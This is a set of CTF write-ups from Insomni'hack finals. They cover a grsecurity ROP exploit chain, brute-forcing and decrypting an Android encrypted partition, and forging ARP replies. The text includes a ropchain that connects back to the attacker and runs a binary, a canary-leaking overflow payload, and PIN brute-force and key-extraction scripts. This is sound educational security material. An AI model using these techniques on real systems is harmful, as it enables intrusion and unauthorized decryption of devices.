    stage1_call_func(elf.plt['exit'], 200),
])

stage1_call_func builds a function call using adequate pop reg gadgets. pop rdi and pop rsi gadgets are easy to find, pop rdx a bit more tricky, but not necessary at this stage.

Flag: INS{We need to ROP deeper!}

Solution for rbaced2

Meet your enemies:

So far the only feature that has prevented us from exploiting things as desired is the filesystem ACLs, so we weren’t able to execute arbitrary binaries on the filesystem.

As mentioned earlier we will need to exploit the authenticator service from our rbaced exploit. In this situation our best option is to introduce new PROT_EXEC memory so we can execute a shellcode. However PaX’s MPROTECT is set (by default since kernel.pax.softmode = 0, but also through the RBAC policy), which prevents malicious use of mprotect/mmap with PROT_EXEC.

The MPROTECT feature does not protect against a open+mmap of a file with PROT_EXEC, but two other grsecurity features prevent it from happening:

  • Trusted Path Execution (TPE): prevents us from executing code from untrusted files (not owned by root), so we cannot execute a binary created by our exploit, mmap it with PROT_EXEC, LD_PRELOAD, etc. TPE can be set on a gid, but here it was set in the policy with the ‘T‘ role mode.
  • RBAC policy: the only place where we can write files is /home/rbaced/www/userdata/, which has “rw” modes only. It lacks the “x” mode, which is described as:
    This object can be executed (or mmap'd with PROT_EXEC into a task).

Attempts to introduce executable code will result in errors like:

[332824.278775] grsec: From <IP>: (rbaced:U:/) denied untrusted exec (due to being in untrusted role and file in group-writable directory) of /home/rbaced/www/userdata/test.so by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001
[332824.295676] grsec: From <IP>: (rbaced:U:/) denied RWX mprotect of /home/rbaced/www/cgi-bin/test by /home/rbaced/www/cgi-bin/test[test:29446] uid/euid:1001/1001 gid/egid:1001/1001, parent /home/rbaced/rbaced[rbaced:29443] uid/euid:1001/1001 gid/egid:1001/1001

So, as hinted in the rbaced1 flag, we don’t have much choice left: we must do everything through ROP!

Exploiting authenticator:

Exploiting the standalone authenticator binary is straight-forward: the stack buffer overflow is introduced by a base64decode, which means the last byte of the overflow is under control. If we decode 2056+1 bytes we overwrite the first byte of the stack smashing protector (SSP), which is always a null byte.

The error message prints the incorrect decoded credentials and therefore can be used to leak the SSP. It makes it possible to also leak the base address of the authenticator elf (PIE enabled) and a libc address in further requests.

All file descriptors are closed before the execution flow is diverted to our payload, but using the previous leaks we can build a ropchain that will connect-back to us (remember that this is allowed by RBAC on this role) and execute the /getflag_part2 binary, whose address can be stored in BSS:

ropchain = [
    stage2_call_func(libc.symbols['socket'], constants.AF_INET, constants.SOCK_STREAM, 0),
    stage2_call_func(libc.symbols['connect'], sockfd, auth_bss_encoded, 16),
    stage2_call_func(libc.symbols['dup2'], sockfd, constants.STDOUT_FILENO),
    stage2_call_func(libc.symbols['execve'], auth_bss_encoded + 16, 0, 0),
]

payload = "A" * 2056
payload += struct.pack("<Q", ssp)
payload += "JUNKJUNK" * 7
payload += rop(ropchain)

ROP proxy, stage1:

The authenticator exploit has to be dynamic, but we can’t interact with our exploit directly because of the way CGI works. To make it even more painful, RBAC prevents connect-backs from rbaced processes. Building a dynamic exploit in a static ROP chain is going to be very, very painful… Fortunately, in this case, there is a way to make things much easier.

Remember that the /home/rbaced/rbaced subject also inherits ACLs from the default subject of role rbaced. It means rbaced is able to read and write files to /home/rbaced/www/userdata/. Therefore our ropchain can interact with us through files.

The attack plan is:

stage1 ropchain sploit.py
write libc addresses (GOT entries) to a leak.txt file
sleep
download leak.txt
upload stage2 ropchain in pref.txt
sleep
read stage2 ropchain from pref.txt
pivot to stage2

sleep is not in the binary’s PLT and we don’t have a libc leak yet, but we can add its offset to an existing resolved GOT entry (no RELRO). To do so we can use the following gadgets (rax, rbp and rbx can be popped from the stack directly):

mov rdx, [rsp+0x10] # mov rax, [rsp+0x18] # add rax, rdx # mov byte [rax], 0x00000000 # mov rax, [rsp+0x10] # add rsp, 0x28 # ret
adc [rbp-0x41], ebx # sbb byte [rdx+0x60], 0x00000000 # jmp rax

We can store the stage2 in the heap so it can be as large as needed and won’t require further pivots. There’s a readall function in the binary that reads everything from a file descriptor and stores it in the heap. The return value is in rax so we need to set rsp = rax to pivot to our stage2 ropchain.

mov [rsp+0x30], rax # nop # add rsp, 0x20 # ret
pop rsp # pop r13 # pop r14 # pop r15 # ret

ROP proxy, stage2:

The stage2 ropchain will be bigger, but easier to write, since we have a lot more gadgets available using the libc leak.
The stage2 layout is :

[ ropchain ][ pad ][ payload_leak_ssp ][ pad ][ payload_leak_libc ][ pad ][ payload_leak_pie ][ pad ][ connect_back_struct ]

It does the following:

  1. Create a new TCP socket sockfd
  2. Connect sockfd to 127.0.0.1:4242
  3. Open leak.txt as fd for writting
  4. Send payload to leak SSP and log output to fd
  5. Send payload to leak libc and log output to fd
  6. Send payload to leak PIE and log output to fd
  7. Close fd and wait for the final payload to be uploaded
  8. Open pref.txt file for reading
  9. Read then send the final overflow payload to sockfd
  10. Send "/getflag_part2" and the connect-back sockaddr_in structure to sockfd
  11. Close sockfd and exit rbaced

In parallel during step 7 the exploit downloads the leak.txt file, generates and uploads the final payload as described in “Exploiting authenticator“.
Once the sockfd socket is closed at step 11, the last ropchain gets triggered inside the authenticator process, which sends the flag to our connect-back server.

[*] Loaded cached gadgets for 'files/rbaced' @ 0x400000
[*] Loaded cached gadgets for 'files/libc.so.6' @ 0x0
[*] Stage1 length: 448
[*] Uploading crafted config file
[*] Launch server with crafted config
[*] Retreive leak file
[+] Leaked __libc_start_main: 0x67ac86dfcdd0
[+] Libc base: 0x67ac86ddb000
[*] Uploading stage2 ropchain
[*] Stage2 length: 2032
[*] Retreive auth_service leak file
[+] Leaked auth_service SSP: 0x1bece49b84712100
[+] Leaked auth_service libc address: 0x6b3593580ec5
[+] auth_service libc base: 0x6b359355f000
[+] Leaked auth_service main base: 0x6652b188e80
[+] auth_service BSS buffer address: 0x6652b38a040
[*] Uploading auth_service exploit
[+] Exploit finished.
connect to [<IP>] from ec2-52-19-102-200.eu-west-1.compute.amazonaws.com [52.19.102.200] 52010
INS{--[ Grsecurity. What else? ]--}

Conclusions

The full exploit can be found here. pwntools must be installed.

This task was in no way a bypass of RBAC, which would likely require more of a kernel exploit. Using the (full system) learning mode can help avoid some of the mistakes introduced on purpose in this challenge.

Congratulations to Dragon Sector and Tasteless for solving both tasks during the CTF!

Insomni’hack finals – InsomniDroid Level 1 Writeup

The challenge was delivered as a zip file (InsomniDroid.zip). The first challenge was perhaps to download it (with its 602.5 MiB). The zip file contains a single file: mmcblk0.dd. A file command gives some information:

$ file mmcblk0.dd

mmcblk0.dd: x86 boot sector; partition 1: ID=0xc, starthead 0, startsector 1, 212991 sectors; partition 2: ID=0x4d, active, starthead 0, startsector 212992, 1000 sectors; partition 3: ID=0x46, starthead 0, startsector 213992, 7192 sectors; partition 4: ID=0x5, starthead 0, startsector 221184, 7512064 sectors, code offset 0x0

I am using Mac OS X, but it is not the best platform to study Android. So let’s switch to Linux (for example Kali Linux or Santoku). The command fdisk gives the complete list of partitions:

$ fdisk -l mmcblk0.dd

Disk mmcblk0.dd: 3959 MB, 3959422976 bytes
1 heads, 63 sectors/track, 122749 cylinders, total 7733248 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

Device Boot Start End Blocks Id System
mmcblk0.dd1 1 212991 106495+ c W95 FAT32 (LBA)
mmcblk0.dd2 * 212992 213991 500 4d QNX4.x
mmcblk0.dd3 213992 221183 3596 46 Unknown
mmcblk0.dd4 221184 7733247 3756032 5 Extended
mmcblk0.dd5 229376 239615 5120 47 Unknown
mmcblk0.dd6 245760 285759 20000 49 Unknown
mmcblk0.dd7 286720 292863 3072 58 Unknown
mmcblk0.dd8 294912 306175 5632 48 Unknown
mmcblk0.dd9 311296 324271 6488 50 OnTrack DM
mmcblk0.dd10 327680 333823 3072 4a Unknown
mmcblk0.dd11 335872 342015 3072 4b Unknown
mmcblk0.dd12 344064 360447 8192 90 Unknown
mmcblk0.dd13 360448 375807 7680 91 Unknown
mmcblk0.dd14 376832 387071 5120 92 Unknown
mmcblk0.dd15 393216 1488895 547840 93 Amoeba
mmcblk0.dd16 1490944 1613823 61440 94 Amoeba BBT
mmcblk0.dd17 1613824 3887103 1136640 95 Unknown
mmcblk0.dd18 3891200 3993599 51200 96 Unknown
mmcblk0.dd19 3997696 3998695 500 97 Unknown
mmcblk0.dd20 4005888 4013079 3596 98 Unknown
mmcblk0.dd21 4014080 4024319 5120 99 Unknown
mmcblk0.dd22 4030464 4070463 20000 9a Unknown
mmcblk0.dd23 4071424 4081663 5120 9b Unknown
mmcblk0.dd24 4087808 4101807 7000 9c Unknown
mmcblk0.dd25 4104192 4114431 5120 9d Unknown
mmcblk0.dd26 4120576 4130815 5120 9e Unknown
mmcblk0.dd27 4136960 4147199 5120 9f BSD/OS
mmcblk0.dd28 4153344 7733247 1789952 a0 IBM Thinkpad hibernation

So we have 28 partitions with some strange systems. We can try to identify partitions one by one and hope we will be able to read something useful, but there is another way. The description of the challenge says that “The device is a Samsung W (GT-I8150) and apparently it runs the Cyanogen flavour of Android KitKat.” This device is not officially supported by Cyanogen, but there is an unofficial port:

http://wiki.cyanogenmod.org/w/Unofficial_Ports#Samsung_Galaxy_W_.28GT-I8150.29

The port is published in GitHub:

https://github.com/arco/android_device_samsung_ancora/

Be sure to select the “cm-11.0” branch and you have the complete project. Inside “rootdir”, you find:

The interesting file is “fstab.qcom”. As its name indicates, it gives the file system table:

wordpress2

So the 17th partition is /system and the 28th one is /data. In fact, it is not difficult to guess it because they are the biggest partitions. Something more interesting is the complete line regarding /data:

/dev/block/mmcblk0p28 /data ext4 noatime,nosuid,nodev,data=ordered,
noauto_da_alloc,journal_async_commit,errors=panic
wait,check,encryptable=footer,length=-16384

Data is encrypted (as stated in the description of the challenge) and the length of the footer is 16384 bytes (as it is often the case). OK, this is the lazy way (i.e. Google way). But this “fstab.qcom” file is somewhere in the bit-per-bit copy, isn’t it? Why not extract it directly to be sure of its content. Because it is more complicated and I am lazy. But since you are a nice girl, I will show you how to extract this file. This file is in the root partition. But how to identify this partition? Well, on Samsung devices, it has often ID 0x48. To confirm which partition is the right one, we can use the PIT. On Samsung devices, PIT (Partition Information Table) describes the formatting of the memory of the mobile:

wordpress3

So, the partition (boot.img) we are looking for is:

mmcblk0.dd8 294912 306175 5632 48 Unknown

To extract boot.img, we can use the famous DD command:

$ dd if=mmcblk0.dd of=boot.img bs=512 skip= 294912 count=$((306175-294912 +1))

The block size (512) is indicated by fdisk (Units = 512 bytes), skip is given by “Start” and count is simply the difference between Start and End (plus 1 because it includes the End sector).

boot.img (like recovery images) are packaged with mkbootimg. We need an equivalent tool to unpack it (personally, I am using bootimg-tools from https://github.com/pbatard/bootimg-tools):

$ ./unmkbootimg -i boot.img

It extracts the kernel and the ram disk. It is not finished! The ram disk is archived and compressed with gzip and cpio. So to decompress:

$ gunzip -c ramdisk.cpio.gz | cpio -i

We have our files! We get our fstab.qcom, identical to the other one found on GitHub. Google-way is more simple, isn’t it?

So we have to decrypt the user partition without knowing the password. We first need to extract the partition data:

$ dd if=mmcblk0.dd of=mmcblk0p28.dd bs=512 skip=4153344 count=$((7733247-4153344+1))

Again, the block size (512) is indicated by fdisk (Units = 512 bytes), skip is given by “Start” and count is simply the difference between Start and End (plus 1 because it includes the End sector). It gives a file of 1.8 GiB.

In order to decrypt it, Google is again our friend and replies with a blog article from Nikolay Elenkov

http://nelenkov.blogspot.ch/2014/10/revisiting-android-disk-encryption.html

By the way, all the articles of this blog are fantastic and Nikolay is also the author of “Android Security Internals” book. If you are interested by Android security, you have to read it.

But let’s go back to our challenge. Nikolay has adapted a script (from Santoku Linux) for KitKat (Android 4.4) and it is published on GitHub:

https://github.com/nelenkov/Santoku-Linux/blob/master/tools/android/android_bruteforce_stdcrypto/bruteforce_stdcrypto.py

To run this script, you need a header, a footer and the maximum length of the PIN code. It says that it will take around 5 minutes to try 1200 PIN combinations, so let’s try that.

The footer is… the footer. We just need its size. This is exactly what we retrieved from fstab (16384).

$ dd if=mmcblk0p28.dd bs=1 count=16384 skip=1832894464 of=footer.dd

1832894464 is the difference between the size of our encrypted file (1832910848) and 16384.

The header is the beginning of our data and is just only to check if the decryption succeed or not:

$ dd if=mmcblk0p28.dd bs=1 count=512 of=header.dd

And now, we can try to brute force, like in the example of Nikolay:

$ python bruteforce_stdcrypto.py header.dd footer.dd

Be sure to have M2Crypto and script installed. On Mac OS X, you may also need to install version 3.0.4 (not 3.0.5) of Swig. It depends of your computer, but around 6 minutes later, you will get:

…
Trying: 1964
Trying: 1965
Trying: 1966
Trying: 1967
Trying: 1968
Trying: 1969
Trying: 1970
Found PIN!: 1970

No, it is not the year of my birth. We found the PIN code, great. But we now have to decrypt the data. It is not very complicated to adapt bruteforce_stdcrypto.py to decrypt, but there is another way: using Linux and cryptsetup. All we need is the key in an appropriate format. bruteforce_stdcrypto.py already contains appropriate code (decryptDecodeScryptKey function). We can make a generic script to handle different cases such as:

import sys
from os import path
import struct
from bruteforce_stdcrypto import *


def getDecryptionKey(footer, pin):
	cryptoFooter = getCryptoData(footer)

	# make the decryption key from the password
	decKey = ''
	if cryptoFooter.kdf == KDF_PBKDF:
		decKey = decryptDecodePbkdf2Key(cryptoFooter, pin)
	elif cryptoFooter.kdf == KDF_SCRYPT:
		decKey = decryptDecodeScryptKey(cryptoFooter, pin)
	else:
		raise Exception("Unknown or unsupported KDF: " + str(cryptoFooter.kdf))

	return decKey


def main(args):

	if len(args) < 2:
		print 'Usage: python getkey.py [footer file] [pin]'
		print '[] = Mandatory'
		print ''
	else:
		# use inputed filenames for the two files
		footerFile  = args[1]
		pin 		= args[2]

		assert path.isfile(footerFile), "Footer file '%s' not found." % footerFile
		footerSize = path.getsize(footerFile)

		assert (footerSize >= 16384), "Input file '%s' must be at least 16384 bytes" % footerFile

		decKey = getDecryptionKey(footerFile, pin)
		print 'Key: ', decKey.encode('hex').upper()
		open('decryption.key','wb').write(decKey)

if __name__ == "__main__":
	main(sys.argv)

If we execute it with appropriate parameters:

$ python getkey.py footer.dd 1970

It gives:

Android FDE crypto footer
-------------------------
Magic : 0xD0B5B1C4
Major Version : 1
Minor Version : 2
Footer Size : 192 bytes
Flags : 0x00000000
Key Size : 128 bits
Failed Decrypts : 0
Crypto Type : aes-cbc-essiv:sha256
Encrypted Key : 0x0CB33742A157543F46111448FC63BC10
Salt : 0xE53FD71CF38B6E3BE0BF6C9FC824C104
KDF : scrypt
N_factor : 15 (N=32768)
r_factor : 3 (r=8)
p_factor : 1 (p=2)
-------------------------
Key: FF6D9DEB77BA1120E355D5F95F9B5BE3

We have our key! It is also saved in a file named “decryption.key”.

We now have all we need. First, we setup a loop device, then we setup disk decryption and then we mount the device:

$ losetup /dev/loop3 mmcblk0p28.dd
$ cryptsetup --type plain open -c aes-cbc-essiv:sha256 -s 128 -d decryption.key /dev/loop3 userdata
$ mkdir mnt
$ mount /dev/mapper/userdata mnt

We have now access to decrypted data:

$ ls -l mnt

total 164
drwxrwxr-x. 2 1000 inetsim 4096 Oct 6 15:45 anr
drwxrwx--x. 2 1000 inetsim 4096 Feb 24 06:20 app
drwx------. 2 root root 4096 Oct 6 15:42 app-asec
drwxrwx--x. 3 1000 inetsim 4096 Feb 24 06:20 app-lib
drwxrwx--x. 2 1000 inetsim 4096 Oct 6 15:42 app-private
drwx------. 5 1000 inetsim 4096 Oct 6 15:45 backup
lrwxrwxrwx. 1 root root 45 Oct 6 15:42 bugreports -> /data/data/com.android.shell/files/bugreports
drwxrwx--x. 2 1000 inetsim 4096 Feb 24 06:20 dalvik-cache
drwxrwx--x. 89 1000 inetsim 4096 Feb 24 06:20 data
drwxr-x---. 2 root 1007 4096 Oct 6 15:42 dontpanic
drwxrwx---. 3 1019 1019 4096 Oct 6 15:46 drm
-rw-rw-rw-. 1 root root 138 Feb 24 09:39 FLAG1.txt
drwxr-x--x. 3 root root 4096 Oct 6 15:42 local
drwxrwxr-x. 2 1000 1007 4096 Oct 6 15:42 log
drwxrwx---. 2 root root 4096 Dec 31 1969 lost+found
drwxrwx---. 5 1023 1023 4096 Oct 6 15:45 media
drwxrwx---. 2 1031 1031 4096 Oct 6 15:42 mediadrm
drwxrwx--t. 16 1000 9998 4096 Jan 7 14:15 misc
drwx------. 2 root root 4096 Feb 23 02:30 property
drwxrwx---. 2 1001 1001 4096 Oct 6 15:42 radio
drwxrwx--x. 2 1000 inetsim 4096 Oct 6 15:42 resource-cache
drwx--x--x. 2 1000 inetsim 4096 Oct 6 15:42 security
drwxr-x---. 3 root 2000 4096 Feb 19 17:16 ssh
drwxrwxr-x. 13 1000 inetsim 4096 Feb 24 09:53 system
drwx------. 2 1000 inetsim 4096 Feb 20 07:56 tombstones
drwx--x--x. 2 1000 inetsim 4096 Oct 6 15:42 user

There is a file named “FLAG1.txt” and it contains:

$ cat FLAG1.txt

Congratulations, you found the first flag:

{INS15-ANDROID-FDE-1543}
You can now try to crack the application to get the second flag...

By the way, the application in question is in app and its files in data.

When you have retrieved data, do simply:

$ umount mnt
$ cryptsetup close user data
$ losetup -d /dev/loop3

See you next year!
Britney

Insomni’hack finals – Hollywood network writeup

You probably saw on many ‘hackers movies’ weird IP address such a 312.5.125.833. On this challenge, you had to connect on a fake IBM mainframe running on this strange IP stack. After the Z/OS banner, you had to get a shell with “L IMS3270”. No guessing here, it’s simply one of the three suggestions. On the READY prompt, you had a bunch of crappy commands extracted from the Swordfish movie. Only FLAG, IFCONFIG worked. FLAG expects an IP address as parameter. Since this mainframe runs on a non-standard IP stack, you can’t simply enter your IPv4 address. So you have to get a look at the IFCONFIG output:

EZZ2350| MVS TCP/IP NETSTAT CS VM394
EZZ2700| Home address list:
EZZ2701| Address       Netmask          Link       Flg
EZZ2702| -------       -------          -------    ---
EZZ2703| 312.5.125.833 1023.1023.1023.0 CTC1       P
EZZ2703| 511.0.0.1     1023.0.0.0       LOOPBACK

We can see a 4x 10 bits netmask.

Trying to use 511.0.0.1 or 312.5.125.833 will send the flag to the loopback address. Useless.

Trying to send to anything other than 312.5.125.x will get rejected with a Network is unreachable. The only thing that seems to do some work is to specify a host in the same net range, but all we get is a “No route to host”.

Somehow the system must translate this IP-like protocol into a link layer address. Let’s start Wireshark and display ARP packets.

hollywood_network_wireshark_arp_req

This one looks suspect. Wireshark shows a hex address instead of an IPv4 address. Digging into this ARP packet shows interesting properties:

  • Unknown protocol 0x8505 (instead of 0x0800 for IPv4)
  • Protocol size: 5 (instead of 4 for IPv4). The size is in byte, so 5 x 8 = 40 bits.
  • Protocol address in hex. 4e0051f741 is 312.5.125.833 in 4 x 10 bits big endian. 4e0041f742 is what we entered (here 312.5.125.834)

ARP is able to handle oversized IP! What we have to do now is to reply.

We don’t really have to decode the IP like address, or doing any fancy computation. We only have to reuse the incoming ARP packet, set the opcode to 2 (reply) and swap sender/target. Finally we have to fill the sender MAC with our own address.

hollywood_network_wireshark_arp_reply

If successful (and fast enough), the server sends back a packet. If we force Wireshark to decode it as an IPv4 packet, the structure is close enough to be properly decoded. We can find the flag in the data.

hollywood_network_wireshark_ipv5